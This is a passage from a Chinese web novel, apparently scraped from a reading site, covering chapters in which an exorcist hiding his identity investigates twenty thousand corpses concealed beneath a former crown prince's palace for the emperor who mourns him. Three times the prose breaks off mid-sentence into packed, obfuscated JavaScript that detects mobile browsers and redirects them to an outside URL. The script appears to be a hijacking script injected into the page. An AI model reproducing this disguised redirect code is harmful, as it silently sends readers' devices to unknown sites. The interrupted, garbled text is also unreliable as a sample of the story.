连雨年想着,在土坡生长到数十米高时张开五指,顺时针旋握半周,指间有沛然力量震荡逸散,如同烈焰灼烧扭曲的空气,从食指流出的血滴也被震碎揉入其中,将半透明的力量染成灼目鲜红。 好像感知到了危险,土坡猛然剧烈战栗起来,抖落更多的沙土,扬尘如雾。 高高耸立的土堆乍然裂碎,仿佛破天崩云,大篷沙土飞扬连接,如同海上掀起的暴风骇浪,滞空一瞬,悍然朝着连雨年迸溅砸落。 被淹没的漆黑视野里,一条银白影子飞快地游蹿向天际。 姣艳眉眼一压,连雨年抬手摊开五指,骤然而至的狂风托起他握持已久的术式,携着桃木剑上溢出的亮红剑气,瞬息劈开万里云天,在空中扫出一道绚丽的火烧云。 “那是什么?” 偏殿外,择青为沈青池挡去突如其来的狂风,后者脸上的慵懒一扫而空,取而代之的是惊诧凝重。 他死死盯着云中蹿动的那一线银白,以及追着银线濡散了半壁天空的火烧云,直到后者吞没前者,一并消退,才慢慢收回目光。 7. 七 半晌,近卫扶着昏迷的禁军,簇拥着连雨年走出偏殿大门。连雨年左手自然垂落,右手缩进袖中,行走间袖袍舒卷,有点滴血液从袖口褶皱里滴落。 “里面动静不小,处理得如何?”沈青池问,声音温和又淡漠。 连雨年低头避开他的目光,平静道:“不过些许异状,已经解决了,陛下可派人接手先太子妃住处的挖掘工作。” 沈青池唇角掠过一抹似有若无的弧度:“其他人留下继续查探,务必刨出东宫地下所有秘密。丹澧先生随朕回宫,有些话朕要单独问你。” 连雨年颔首:“陛下稍等,为免再遇到类似情况,造成不必要的伤亡,草民想多刻几把桃木剑留给将士们防身。” 沈青池不喜欢等待,唯独这事例外。 他摆摆手,说:“准了。” 择青连忙命人准备桃木剑和刻刀,禁军统领和近卫首领则纷纷朝连雨年投去感激的目光。 东宫距皇宫不远,两刻钟后,连雨年踏着姗姗来迟的夜色走入安和殿,跟在沈青池身后气定神闲,揣着手环顾四周。 陛下不让我看他,那除了看他,我什么都能看.jpg 解下厚重的披风扔到择青怀里,沈青池坐于榻上,端着茶盏看向不远处的人,见他满脸新奇左看右看,就是想不起给自己匀一眼,颇觉荒谬。 丹家是上古人皇的“相”,这种理直气壮又理所当然的失礼,难道也随家族传承一并流传下来,或是刻印在他们骨子里了? 择青飞快看了眼沈青池,掩唇咳嗽。 连雨年这时才回过神来,不能光顾着看寺庙,而把大佛忘了,快进几步行礼道:“草民一介乡野莽夫,没见过世面,让陛下见笑了。” 他话说得夸张,却非恭维。 先帝时期,连雨年还是伴读的那些日子里,也不是没来过这帝王寝殿。但先帝的审美水平与他的治国能力难分伯仲——不是菜得抠脚,而是点错了属性,所以前者极尽浮华怪诞,后者只剩所谓的帝王心术。 也正如先帝的帝王心术差点用一场夺嫡之乱把朝廷玩崩那样,经他之手改造的安和殿着实…… 连雨年只能说充满艺术感,但那并不是凡人可以欣赏的美。 沈青池入主后,应该将安和殿里外里重塑了一遍筋骨,延续他皇子时期一贯的喜好偏爱,处处风雅,又有奇崛骨格。 连雨年刚在心里赞美完,一抬头,就看见陛下倚在榻上,靠着略略发旧的竹纹软枕喝茶,手上的天青盖碗茶杯十分眼熟,怎么看都像自己从前用过的那只。 于是被他刻意遗忘的“小临安王穿过的长衣”再度浮上心头。 一件旧物是巧合,两件也是吗? 连雨年喉结微动,心绪复杂难掩,如鲠在喉。 沈青池没有漏掉他的异样神情,却也不问,任由茶烟朦朦遮面:“先生已然看过东宫,看出什么了?” 连雨年拉回思绪:“东宫地下枯骨用了方外之法掩藏,自然出入都无迹可寻。” “何种术法?” 连雨年回想着东宫上方的浓雾与锁链,飞快调动原身的记忆,脸色渐渐凝重:“一种失传已久的秘术,盖皮匿骨。” 以生者皮、死人骨为施术材料,借遮天蔽月之力。浓雾是“皮”,锁链是“骨”,它们在一日,地下的尸骨就能隐匿一日,除去术法落成后无法移动,以及施术方式过于血腥,可以说没有缺点。 连雨年没有细说术法内容,但从这个名字沈青池也能猜出几分,嘴唇抿成一条薄凉的线:“看来人间之大,已经不足以让朕那位好大哥腾挪施展了。” 是啊,所以他现在去了另一个世界,也算求仁得仁。 连雨年低头,优雅地翻了个白眼,打算回头试着招一招先太子的魂,问他十八层地狱的雅座坐得可还舒服。 ……假如他的魂魄没有被恶鬼啃食殆尽的话。 “咔。” 茶盏轻轻搁下,不轻不重的声音在安静的寝殿里回荡开来,格外刺耳,连雨年的心脏也随之剧烈一跳。 直觉告诉他有人要作妖了,而且是要作个大的。 他抬眼看向座上的沈青池,意外的发现这人并没注意自己,反而是捏着袖口细细摩挲,垂眸不知在想什么。 可他越是镇静自若,连雨年就越是如芒在背。好半晌,这位随着年龄见长而令他愈发看不透的天子才松开袖摆,捋了捋上面快被磨平的花纹,不疾不徐朝他望来。 “先生大才,朕亲见亲闻,无有不信之理。” 连雨年脑子里的弦一震。 怎么突然给他起这么高的调? 沈青池扬起嘴角:“朕有一惑——先生既可通幽,得见鬼神,能否令死者复生?” “……” 大抵是不能的。 连雨年只觉得荒谬:“陛下,生死伦常乃天地之法,神话时期的人皇与大巫尚且做不到此事,况乎于我?” 被一口回绝,沈青池也不生气,身体微微前倾,绷紧的面庞难掩期待:“不能复生无妨,那引死者魂灵与朕见上一面……哪怕是个梦呢?” “……” 人的性情总是折中的。你开窗户,必定有人拦着,但若是你说要掀屋顶,他们就会同意开窗了。 鲁迅先生抽烟.jpg 连雨年现在就是这个想法,被“复生”二字打了个跟头之后,招魂入梦这种事听来竟不那么突兀了。 他叹了口气,冶艳眉眼半垂,犹如冷翠的寒山幽泉:“如果陛下想见之人亡魂尚在天地间,草民可以一试。但不知陛下想见谁?” 是无缘一见的母亲?还是哪位红颜蓝颜知己? 沈青池搭在榻边的手骤然抓紧,手背上暴起青筋,像是极力压抑着涌动的心绪。 连雨年的视线从上面扫过,心里突然没来由地“咯噔”一下。 沈青池缓缓道,一字一句又重又狠地砸向他:“朕要见……朕的伴读,小临安王……连雨年。” 陛下,草民招不来这么多魂。 连雨年跟自己开着玩笑,艳色的唇角却平直到僵硬。 “皇室中人与寻常百姓不同,下葬后如无牵挂,当魂归冥冥。”他冷冷拱手,“恕草民无能。” 自相见以来,万般思绪密织结网,都被连雨年强行摁在心底,不露一丝一毫,因而行为举止从容镇定,仿佛过往所有真的都已烟消云散。 ……怎么可能? 如果真的烟消云散,他怎会整夜整夜地做同一个噩梦?梦里那片湿濡的血腥气,那个冰冷的怀抱,那张模糊的面容,怎会日复一日地纠缠着他? 连雨年的喉头忽然滚起异样的酸楚和惊痛,胸口压着重石,底下似有火烧,心脏激烈地跳动着,将滚烫的血液与隐痛泵送至四肢百骸,脚下的阴影似也壮大扭曲,形成遮天蔽日的毒焰,灼他心魄。 他深吸一口气,像纳了阵寒风,将无端汹涌的怒火不平消去,抬头直视沈青池。 除去冕旒的天子戴上了更严密的面具,他依然看不透,却忍不住问:“传闻小临安王虽是陛下的伴读,又为陛下而死,却与陛下无甚交情。而今斯人故去三载,陛下为何突然想见他?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233753|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >闻言,沈青池忽的松了手,连雨年心脏一空,失重感呼啸而至,他在些微的眩晕里只看见面前这年轻帝王面色如常,待手背上的血管淡去后,就连半点失态过的迹象也不见了。 沈青池端起君王冷肃的派头,语气中满是警告:“丹先生,你逾矩了。” 连雨年垂眼,本就不达眼底的情绪烧成了灰烬。 “……草民有罪。” “恕你无罪。”沈青池倚回枕上,捏了捏眉骨,“朕乏了,丹先生连日舟车劳顿,又忙了一日,且去休息吧。择青。” 早已退下的内侍总管快步进来,向连雨年躬身道:“陛下要就寝了,门外有侍从侯着,他会带先生前往惠仪殿休息。” “有劳。” 连雨年微微颔首,转身大步流星地离开。 香炉里燃起宁神香的时候,他已经走到门前,袅袅轻烟拢着他板正端雅的背影,每一步都走得分毫不差。 沈青池沉着眼皮,偶然一觑,顿时惊心动念地坐起。可待他睁大眼,连雨年却转过门框,连个影子也看不到了。 他刚直起的背脊又塌了回去。 “枕岁,你有许久不曾入我的梦了……” …… “……枕岁……” 连雨年隐约听到有人在唤自己的字,兴许是背后那个薄情的帝王,兴许不是,总之他没有回头。 他本没有字,或者说,他的父王没来得及给他取字,就因为参与谋反而被处死。 这个字是沈青池送给他的,年者,岁时也,加上彼时他恰好读到的一句旧诗“蓬窗高枕雨如绳”,便这么随口寻章摘句拼凑而来。 除了沈青池,没有人会这样叫他。 小临安王的墓碑上、悼文里,皆是有名无字。 至于曾经的“你我之交,恰如连年雨落青池”笑谈,里面那位大抵也都不记得了。 “招魂需要引魂者的情真意切。”连雨年斜了眼身前躬腰带路的内侍,煞有介事叹息道,“陛下此求,非我不为也,实不能也。” 内侍没有反应,像是蒙了耳朵,只不过把头低得更深了。 惠仪殿位于皇宫东面,离安和殿数百步之遥,是外臣入宫撞上宫禁不得出时的借宿之地。先帝在位时,这里夜夜灯火通明,但自那位能干的新帝登基后,已经荒废许久。 惠仪殿正殿是议事厅,东西两偏殿才是住所,连雨年选择了采光更好的东偏殿。 宫中没有熄灯的规矩,可连雨年习惯了灭灯睡觉,于是洗漱过后,便自己提着无铛铜铃一盏一盏地熄灯。 皇宫里没有秘密,人人都是天子耳目,他在这种环境下生活了十四年,对暗处投出的目光也没有什么不适应的,灭了灯便径自去睡觉。 记录他一言一行、一举一动的条子如流水般汇集到沈青池面前,沐浴完,稍事休息后,金尊玉贵的陛下打开了第一条——招魂需要引魂者的情真意切,陛下此求,非我不为也,实不能也。 “……” 心胸宽阔的陛下把条子放到蜡烛上点了,再打开第二条——丹先生睡前熄灯。 择青眼观鼻鼻观心,没有试图窥探纸条上的内容,只是依循旧例暗中观察陛下的表情变化。 原本一切如常,直到他展开第二张纸条。 “择青。”沈青池把纸条点了,轻声唤道。 择青凑近半步,恭声答应:“陛下。” 沈青池的声音并无平仄起伏:“他生前也习惯熄了灯再入睡,朕可有记错?” 咂摸出这个“他”字的意思后,择青霎时间汗如雨下。 8. 八 小临安王之于陛下是什么样的存在,经过陛下三年不停的屠刀,如今只剩择青一人知晓。 他每日跟在陛下身旁,看他励精图治、兴利除弊,将偌大的盛朝从先帝的权斗泥潭里拽出再清洗干净,打理得井井有条……也看他整夜整夜地睡不着,看他遍寻天下奇物异法,求一个故人入梦。 继登基大典上遇刺后,陛下还遭遇过一次刺杀,同样是在金銮殿,同样是歌舞升平的时刻,同样的腹背受敌,陛下依旧先近卫一步拔剑诛杀刺客于龙椅前,审都懒得审。 后来刑部查出刺客跟脚,顺藤摸瓜找到其背后之人,本该以谋逆论处夷三族的主犯却得到了陛下的宽宥,只诛首恶,不做连坐瓜蔓。 那时的陛下已经坐稳皇位,江山稳固,朝中大臣们也以主辱臣死为由上书请陛下严惩,如此风浪,却皆被他压了下去。 于是有一言官当庭问:“陛下既然这般心胸宽广,当日为何株连先太子的母族和妻族,时至今日仍不罢休,还在追击所谓的残党?先帝明旨赦免,陛下登基不久,屠刀之下国朝动荡不休,该宽宥的时候为何又不肯宽宥?” 言官清流直言讽谏,不仅是求清名,更是替满朝文武和天下人道出了心中疑惑。 同样是刺杀,先太子手下擅自谋划动手就要被大肆株连,行刑官的刀都砍卷刃了三把,更是将完全不知此事的祝家三服与太子妃亲眷都牵扯进来,逼得已经致仕的祝老太爷拖着病躯千里迢迢赶赴京城,求陛下为两家留一丝血脉。 先太子谋反都未导致的后果,他的属下用一次刺杀替他讨得了,若亡魂在天,大概会气得魂飞魄散吧? 可惜陛下没有为任何人解惑,那名言官也很快就被寻了贪腐的错处罢官流放,去往极北苦寒之地修筑堡垒了。 所以,到底是为什么呢? 择青额前渗出汗水,他却不敢擦拭,对前问避而不答,垂着头说:“陛下,夜已深了,明日还要上朝,早些休息吧。” “嗯。”沈青池懒散地答应一声,似乎也忘了先前问过什么,只把剩下的条子一一归档,而后掸掉指尖残灰。 他刚沐浴完,微湿的长发披散在略显陈旧和不合身的寝衣上,袖口往小臂上堆起一截褶皱,才堪堪露出手腕。 再有一年,这套寝衣便合身了。 再有一年,他便能与他身高齐平了。 沈青池起身走向内室,忽然脚步一顿,回身问:“择青,你在怕什么?” 择青拱手:“只要陛下龙体康健,奴婢什么都不怕。” “呵,滑头。” 沈青池转身离去。 择青小碎步跟上,心里又冒出了那个问题——所以,为什么呢? 陛下穿着小临安王的旧衣,用着小临安王用过的碗筷杯盏,批阅奏章时写下的小临安王的字迹,御书房闲书杂谈上的批注……落款都是“枕岁”。 待陛下龙驭宾天,自己也合了眼,在史官曲笔下,后人应该会将“枕岁”误认为是陛下的号。 不会有人知道长眠于西山陵的小临安王曾有个字,就像世人皆不知陛下曾为他的死杀得人头滚滚、血流成河,在自己最艰难的时候。 往事如烟,也如雨落尽。 …… 深夜,巡逻的禁军从惠仪殿门外走过,铁甲刀兵碰撞作响,在宫道上渐行渐远,回音还久久不绝。 连雨年睁开眼,侧身转向墙壁,把被子拉过头顶,摊开一直虚握着的右手,掌心象征生命线的那条纹路在黑暗中缓缓扭动,像呼吸一般收缩或起伏,闪着半透明的光。 他左手尾指一挑,指甲上勾起一条细短如土豆粉的线条,看不出头尾,也不似活物,却在他拿近了观察时陡然一缩一弹,直往他眼眶射去。 这要是被它击中,颅骨都得穿出个洞来,连雨年闭拢指尖,用巫族后人使不完的牛劲将它捏得动弹不得。 “你是什么玩意儿?” 连雨年将它拎高了细瞧,这“土豆粉”就跟疯了似的在他指间挣扎乱窜,平滑无褶的身躯表面断断续续浮出许多张人脸,狰狞咆哮,一闪即逝。 它大概率就是先太子耗费了两万多具尸骨养出的东西,看着邪性,却不算强大,到底是做什么用的? 连雨年摩挲下巴,琢磨着要不要干脆把这“土豆粉”弄死了事,它便忽然像感知到危险般身体一僵,旋即像根皮筋一样软嗒嗒地塌了下去。 识时务者为俊杰,凡间讲究这个,阴间也是。 “原身背下的丹家藏书里没有你,又是神话时代之后才出现的吗?先太子在位那几年,到底搞了多少要命东西出来?” 连雨年喃喃自语,一时找不到头绪,索性把“土豆粉”又给藏回生命线里去:“罢了,往后有的是与妖蛊教打交道的机会,等陛下把他们抄个底朝天,总能翻出记录你跟脚的东西。” 说完,他扯下被子,九月的天不算冷,他将被子揉成一坨,抬脚勾住抱紧,合眼沉沉睡去。 惠仪殿内的宁神香温淡如水,连雨年一夜无梦。 次日早上,朝会的钟声从金銮殿的方向响起,传遍整座皇宫,惊飞屋檐上的雀鸟。 连雨年猛地惊醒过来,急急忙忙下床穿鞋,并伸手去捞床边衣架上的外衣。 但那里空无一物,他的身子歪了一下,捞了个空。 侍从听见动静,端着洗漱用具和新衣裳快步进殿,见连雨年愣在床边,小心翼翼地问:“先生可是要起了?” “……嗯。”连雨年一捋额发,柔软直顺的青丝从他指间溢出,拨到脑后又从两鬓散乱地落下,“现在什么时辰了?” “卯时四刻。” 那就是早上六点。和他以前的起床时间一样。 回了宫,生物钟也跟着回来了,这一行真是…… 连雨年打了个哈欠,放弃睡回笼觉的想法,洗漱完换上新衣,到前厅吃早饭。 惠仪殿有个小花厅,景致甚美,他到那儿时,早饭已经摆好了——大总管择青亲自为他布的菜。 “先生,请用早膳。”择青双手递上象牙筷,脸上挂着恭敬的笑,“奴婢不知先生口味,便照陛下的喜好挑了几道,若是先生不喜欢,奴婢再让膳房重新做。” 连雨年扫了一圈桌上的粥点,突然感觉自己可能没睡醒。 他看看笼屉里皮薄馅大的虾饺、金黄酥脆的小油条,再看看盘中冒着热气的荷叶粉蒸肉,最后看向砂锅熬的鲜虾瘦肉粥,揣着手陷入沉思。 他如今这副面貌实在长得太好,肤若雪脂,眉眼唇鼻却是浓墨重彩的艳丽,稍微有点表情变化便格外显眼,即使他足够内敛谨慎,也藏不住许多即时变化的情绪。 就像此刻,人精择青便敏锐觉察出他的反应有异,没头没尾地联想到昨日他看那玄玉瓮时的眼神,收了笑问道:“先生,这些菜里难道有鬼?” ……这就有些太杯弓蛇影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233754|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 连雨年的思绪被一巴掌打断,额角青筋突突跳了两下:“公公说笑了,它们只是正常普通的早饭。” 听到他咬牙切齿挤出的“正常普通”四字,择青毫不掩饰自己的放松,抚着胸口长出一口气。 连雨年哭笑不得,之前的微妙心思也找不回来了,索性开门见山:“公公方才说,这些是陛下喜好的菜色?” 择青笑着点头:“是啊。陛下从前没什么偏好,但如今确实喜欢这些。” 连雨年忍了又忍,终究没提起“小临安王”这四个字。 择青没说实话。从前的九皇子是儒雅文士,温润如玉的皮囊下安着一颗嗜辣如命的心,经常在饭桌上一边侃侃而谈,一边嘶哈嘶哈,没个正形。 小临安王素有胃疾,不严重,但也不能近腥辣。桌上这些……是他常吃的膳食。 心底突然冒出密匝匝毛绒绒的心绪,像雨后绿草,被连雨年果断摁死。 他甩了甩袖坐在桌后,夹起虾饺咬了一口,问:“公公,有海椒油蘸碟吗?” 择青愣了愣,朝身旁的小内侍颔首,很快便有人端上蘸碟。 海椒油就是辣椒油,跟油泼辣子、熟油海椒是一个东西。 辣椒在盛朝不是稀罕物,前朝就已引进中原,在川蜀地区大规模种植,现在已经是最常见的几种调料之一,皇宫自然不缺。 连雨年一口粥一口滚了辣油的虾饺,把油条撕成小块泡在粥里吃,怎么松弛怎么来,看不出丝毫皇亲贵胄的优雅矜持,充满寻常百姓家的烟火气。 这样的吃相算不上好看,倒是很能激发食欲,择青耳尖一动,冲旁边的小侍从使眼色,把肚子正在叫唤的他支了出去。 连雨年大快朵颐的同时,不忘数明里暗里投来的目光。 不出意外的话,视线的主人都是沈青池派来监视他的,至于为何数量这么多,连择青也成为其中一员,又盯得如此密不透风,连雨年却有些拿不准。 好在乡野莽夫不识礼数,也不必避忌委婉,他张口就问:“择青公公,是陛下派你来看着我吃早饭的?” “不。”择青恭谦微笑,“陛下让奴婢来传话。” “什么话?”连雨年连粥带油条舀起,送入口中。 “暂时不知。”择青说完,不等困惑的他发问便解释道:“陛下在等一个消息,和东宫的出入库记录有关。” 连雨年熟悉沈青池的行事风格,脱口而出:“他在找可能记录着那些尸骨运送过程的东西?” 择青一怔。 “公公!” 殿门外忽然响起一阵急促的脚步声,近卫首领舒琊快步走进花厅,先把一本账册递给择青,随后向连雨年施礼。 择青翻开账本,连雨年则看向舒琊的腰侧,那里本来只挂着一把精铁长刀,现在却多了柄桃木剑。 舒琊拱手:“东宫尚未完全清理完毕,夜里更是异状频频。这桃木剑威力不俗,且多次保护我们,还请先生容我多借用一段时日。” 连雨年一笑:“舒侍卫不用客气,送你了。” “多谢!” 两人刚说到这里,就听到择青“啪”地一声合上账册,转身双手呈给连雨年。 “这是……”连雨年不解。 择青微笑道:“先生既已知晓陛下所想,里面的内容一看便知。” 连雨年搁下勺子,接过账册翻看两页,低低笑出了声。 9. 九 世间所有生意人手里都有一把坏账,从龙之功本身就是最大的生意,东宫的账本自然也逃不过前者。 只不过先太子治下的东宫坏账比别处“略有”不同。 沈青池让舒琊亲自送来的不是什么机密账本,而是先太子入主东宫第二年起,东宫私库每一年的物品流动总览。甚至不是奇珍异宝的出入库记录,仅仅是食材、木材、锅碗瓢盆这类的基础耗材的数量变动,其中包括了太子妃莳弄花草消耗掉的工具和……肥料。 太子妃是镇北将军顾世情的长女,十六岁嫁给先太子,在先太子被先帝鸩杀的当晚悬梁自尽,顾将军也因此卸甲告老,举家迁至南方,等同于流放。 沈青池后来借遇刺之名清算顾家时,顾家主支人丁凋零到只剩一位老太太和两个孙女,他不忍心下狠手,转而对准打着顾将军旗子支持先太子的顾家旁支挥下屠刀,把那群从先帝手下逃过一劫的朝廷蛀虫杀了个干净。 太子妃是将门虎女,上过战场,习过武艺,嫁入东宫后却开始修身养性,不舞刀弄枪,转而干起了园艺。 她不喜欢寻常花草,更爱深山老林或异国他乡的奇特草木。这种只在特定区域生长的植物有一个共同特点,就是难以在帝京的气候下成活,因而太子妃几乎将全部心力都投入到照料它们当中,东宫杂物一项的支出也以此为最。 妙的是,过去很长一段时间里,东宫私库的物品流动一直是先太子政敌们死盯的对象,而太子妃的花销却并不为人关注,所以也从未有人发现,东宫每年进账的银子,居然有三到五成都花在了给太子妃种草上。 连雨年一页页翻看账目,里面的条款都是固定的,购入草种、树苗、花苗和肥料是花钱的大头,约占九成,其余杂物加起来占总数的一成左右。 年年如此,就连金额也大差不差,每一年的记录都像复制粘贴,乍一看像手下人敷衍了事的产物,实际上所有数目都精确到了铜板单位。 这本账册初看平凡,越看越诡异,笔墨纵横间仿佛盘踞着一头不可名状的怪物,会吞没所有向它投来的视线……以及视线的主人。 连雨年合上账本:“先太子妃一年要消耗近两万两银子的花肥——什么肥料这么值钱?用金子沤的吗?” 择青说道:“若是没有从东宫地下挖出那些尸骨,纵然陛下发现账目有异,也只会推测是先太子贪腐。如今看来……它们可能是买命钱。” 将以盖皮匿骨术遮掩的尸体藏在用天价买下的花肥、草木里,确实能把它们神不知鬼不觉地运进东宫。 微风吹得枝头黄叶簌簌,连雨年的语气微沉:“陛下怎么打算?” 舒琊看了看账册,低声道:“陛下已命人调查先太子在世期间的失踪人口和买卖/人口,刑部尚书许鉴大人连夜翻出上千案卷,就连昌平二十一年东南洪涝的灾民统计书也寻了出来,正在带领刑部上下核查。” 昌平二十一年是先太子入主东宫的第三年。 那一年东南十二城连下三个月暴雨,黄河决堤,洪涝爆发,灾情之严重堪称盛朝立国以来之最。 先帝在很多事情上不靠谱,唯独对赈灾和权斗手拿把掐。他一连下了三道圣旨,将赈灾事项安排得面面俱到,而负责将这些事项落实的正是当时如日中天的先太子。 “那场洪灾因救灾及时,百姓死伤并不严重。洪涝过后虽有蝗灾和瘟疫,也只是小范围传播,没有酿成大祸,所以不似前朝那样爆发了大规模的起义。” 择青娓娓道来:“此事后来还成了先太子的政绩之一,为他的金身再贴一层金箔。灾情平息后,先太子上疏奏禀赈灾过程,灾民失踪和亡故这两项数字,加起来是两万一千五百人。” 舒琊下颌一紧:“我们从东宫挖出的尸骨近两万两千具。” 这些线索嵌合得真是严丝合缝。 连雨年没了胃口,把粥碗推开:“东宫里的尸骨未必都是那时的灾民,应该有不少失踪的人真的是被洪水冲走,生死不知。至于故去的人,尸首都进行了妥善处理,先太子不至于蠢到明着对他们下手。不过……” 他话音未落,几名近卫忽然匆匆而来,附在舒琊耳边说了些什么。 舒琊面色一变,吩咐他们继续盯着,随即转向连雨年:“仵作找到了部分尸骨的死因,扼颈、中毒、刀伤……还有溺亡。” “溺亡?”连雨年疑惑,“这是怎么查出来的?” 舒琊摇摇头:“已经变成白骨的尸体很难完全确定死因,尤其是溺亡这种需要血肉器官共同辅助判定的死因。不过,仵作解剖过在昌平二十一年被卷进洪水溺毙的百姓的尸首,发现他们有一个共同点,骨骼上都有大量细小的刮蹭、撞击痕迹和骨折迹象。” 择青温声补充道:“这是因为洪水流速湍急,尸身浮动过程中会反复撞击水中、岸上的石头或硬物,一般的溺亡尸首不会有这类痕迹。” “原来如此。那……” “有十几具尸骨身上存在这样的痕迹,可以确定他们死于那场洪灾。”舒琊青着脸道。 “只是部分而已。”择青声音轻柔,压抑着隐隐的怒气。 连雨年沉默了一下:“他们死于洪灾,而非死于先太子之手,盗窃尸体虽然上不得台面,所幸还不算丧心病狂。舒侍卫,你们该关注的是其他死于非命的人。” “……” 舒琊深吸一口气,握着精铁刀与桃木剑转身离去,步履匆匆。 择青微不可察地叹气:“丹先生若是吃好了,便随咱家去见陛下吧。” 连雨年摸摸肚子,夹起最后一颗虾饺塞入口中。 半凉的面皮下虾肉还温热,鲜甜弹韧,咸淡适中。 他咽下虾肉,拿过湿帕子擦嘴,缓缓起身。 “走吧。” …… 朝会结束后,沈青池径直回到安和殿。他不喜欢御书房的庄严沉肃,平时批阅奏折都在寝殿。 连雨年跟随择青迈过门槛时,沈青池刚换下厚重繁复的朝服,玄色常服外披着青色长衫,又是一件小临安王旧衣。 连雨年很难形容自己此刻的心情,也对他这怪异的举动理解不能,只能别开眼,装作没看到。 “丹先生,坐。” 连雨年出神之际,又没有及时行礼,沈青池像是习惯了似的,也未责备,挥手命人看座。 “陛下。” 连雨年象征性拱拱手,屈膝跪坐下来,小侍从很快递上热茶,他低头一嗅——是松梨雪顶茶,加了点蜂蜜。 倒还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233755|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从前九皇子的口味。 连雨年莫名松了口气。 从他接过茶杯起,沈青池便不错眼地看着他,眼神沉静利落,似薄冰削成的刀。 那刀锋冷利,从连雨年的眉骨掠过深邃的眼瞳,勾上他玉山似的鼻梁,再轻柔扫向芙蓉色的唇瓣,最后才沿着轮廓线条细细描摹一通,行云流水如庖丁解牛,仿佛想剖开这张艳若桃李的姿容,去窥见别的一些什么。 令他失望的是,他没能在这副面孔下找到可解自己妄念的存在,哪怕只是一星半点的错觉。 与此同时,连雨年觉察不对,抬眼与他对望一瞬,神情坦荡。 任沈青池如何探究追查,面前这道清风朗月的身影也仍是那般陌生,仅有眉眼间的半分沆砀烟波略微似他苦寻的故人。 他们连口味都大相径庭。 沈青池突然没了兴致,懒散地垂眼,翻开手边案卷。 连雨年不知道他的心思,当然也无从反驳——自己并非口味清淡,也曾经无辣不欢凉热不忌,只是后来由于身体原因吃不了腥辣罢了。 十四年岁月如梭,如今想来,他们真正交心的时刻其实不多。 彼此心潮涌动于暗海,连雨年和沈青池不动声色,谈起隔绝两处的现实。 “盛名之下无虚士,丹先生向朕证明了你的能力,等到许鉴那边整理完失踪人口的卷宗,便可投入对妖蛊教的调查。”沈青池声音淡淡。 “先生曾说凡间事凡间断,非凡间事凡人无法插手。既然确定妖蛊教有异于常人的手段,那调查行动的重心需换一换——丹先生可有什么建议?” 连雨年道:“建议不好说,草民倒是有个方向。” 沈青池微讶,而后展颜一笑:“说来听听。” 连雨年组织了一下语言:“昨日看到玄玉瓮时,草民听见了一首歌谣,很可能是组成那怪物的魂灵残存的心念,依草民所见,应该指向了某个地点。” 沈青池点点下巴,择青立刻为连雨年捧上纸笔。 连雨年放下茶杯,在纸上写下歌词,顿了顿,再在每一句词旁边补上曲谱。 沈青池一看就皱起眉头:“这是京畿一带最近流行起来的曲调风格,朕记得前些日子京中诡戏风靡,也与这首曲子相似。” 连雨年一愣:“诡戏?” 择青及时解释道:“诡戏是改编自市井志怪奇文的戏目,不讲究词曲格律,不拘泥于传统韵调,以怪、奇、诡、谲为噱头,是这两年京中盛行的一种戏剧。” 哦,原来是在他“死”后才出现的新鲜玩意。 恐怖片嘛,这个他熟。 连雨年道:“东宫地下的尸体有不少死了四年甚至更久,但诡戏是近期才开始流行的,时间似乎对不上?” “或许不是时间对不上,而是这种戏剧早已诞生在某个地方,只不过无人知晓。”沈青池认认真真打量纸张上的字迹,确认运笔字形皆普通和陌生,才把它递给择青,“去查查诡戏的发源地。” 择青躬身退下。 此时,安和殿内只剩他们两人。 沈青池端起半凉的茶,原本轻松的氛围在他投向连雨年的一眼里凝滞。 “丹先生,我们来谈谈昨日你从东宫带走的那个东西?” 10. 十 殿内安静下来,不闻一丝风声。晨光从窗沿倾泻如瀑,静静沉进地板上的木纹,像一汪凝固的寒金。 连雨年平静地与上首的帝王对视,摊开右掌,几无分叉杂线的生命线上蹿出一条半透明的细长影子,如无头游蛇,甫出现就冲沈青池摆出攻击姿态,若不是被连雨年揪着“尾巴”,下一刻就会扑上前去,洞穿沈青池的要害。 饶是沈青池见惯大风大浪,看见这奇葩玩意儿也不禁一怔:“这是什么?” “自然是陛下要同我聊的东西。”“土豆粉”在连雨年指间挣扎扭动,被他屈指重重弹一下才老实,蔫巴巴地耷拉下来,装成没有颜色的麻绳,只是身上仍然不断浮现一张张狰狞面容,冲着沈青池的方向张嘴咆哮。 沈青池捏捏鼻骨:“朕以为你带走的是先太子用两万余具尸骨养出的东西。” 连雨年淡定点头:“嗯,我觉得也是。” “……” 沈青池问:“这东西于国于家于人……于社稷,有何用处?” 连雨年气定神闲地摇头:“草民不知。先太子和妖蛊教的高层兴许知道,前者已死,陛下只能从后者身上下下功夫了。” 